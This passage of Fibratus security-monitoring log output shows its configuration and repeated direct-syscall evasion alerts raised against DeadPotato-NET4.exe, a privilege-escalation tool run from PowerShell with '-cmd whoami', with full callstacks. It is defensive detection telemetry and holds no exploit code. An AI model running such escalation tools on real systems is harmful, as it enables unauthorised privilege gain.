filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true formatter=>text max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ template-name=>fibratus flush-period=>1s timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s healthcheck=>true trace-log=>false gzip-compression=>false enabled=>false] amqp=>[ passive=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false vhost=>/ routing-key=>fibratus exchange-type=>topic delivery-mode=>transient durable=>false] http=>[ method=>POST serializer=>json enabled=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s fastscan=>true excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:38:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:38:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:39:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:39:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:39:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:39:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:39:29+01:00 level=info msg=bootstrapping with pid 12084. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:39:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-mem=>true enable-thread=>true flush-interval=>1s max-buffers=>36 enable-fileio=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-handle=>false enable-threadpool=>true enable-dns=>false stack-enrichment=>true enable-image=>true enable-registry=>true min-buffers=>16 enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s timeout=>5s sniff=>false gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s trace-log=>false index-name=>fibratus servers=>[http://127.0.0.1:9200]] amqp=>[ exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus timeout=>5s vhost=>/ exchange=>fibratus passive=>false url=>amqp://localhost:5672 durable=>false] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST serializer=>json enable-gzip=>false enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true enabled=>false skip-files=>false scan-timeout=>10s skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T10:39:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:39:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094312 + Pid: 2704 + Tid: 16192 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2307632 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324d8f5000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b422f91 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!GetMetaDataInternalInterface|0x7ffb8b422eaf C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!GetMetaDataInternalInterface|0x7ffb8b422da9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!GetMetaDataInternalInterface|0x7ffb8b421b42 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!GetMetaDataInternalInterface|0x7ffb8b4ba73f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!NGenCreateNGenWorker|0x7ffb8b3ad2a8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397eae C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3df8b2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ae9d8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756450 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b42d1d9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b42cee2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b42cc79 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b4a3fdb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8b4a3f35 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8b4a3e64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8ca9d6ea C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll!_CorExeMain|0x7ffb8e81785b C:\Windows\System32\mscoree.dll!_CorExeMain|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094314 + Pid: 2704 + Tid: 16192 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2307982 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324d8f4000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffba1611c56 C:\Windows\System32\KernelBase.dll!InternalLcidToName|0x7ffba168e682 C:\Windows\System32\KernelBase.dll!StrCmpW|0x7ffb8b425f02 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!PreBindAssemblyEx|0x7ffb8b3f0c84 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3f19db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b421e37 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!GetMetaDataInternalInterface|0x7ffb8b4ba73f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!NGenCreateNGenWorker|0x7ffb8b3ad2a8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397eae C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3df8b2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ae9d8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756450 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b42d1d9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b42cee2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b42cc79 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateApplicationContext|0x7ffb8b4a3fdb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8b4a3f35 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8b4a3e64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!_CorExeMain|0x7ffb8ca9d6ea C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll!_CorExeMain|0x7ffb8e81785b C:\Windows\System32\mscoree.dll!_CorExeMain|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094840 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2939308 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def8000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b39b75a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d42b C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094849 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2941545 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def6000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b4026c0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b4025e2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b3d5ac7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d52c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e09f0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87756dba C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 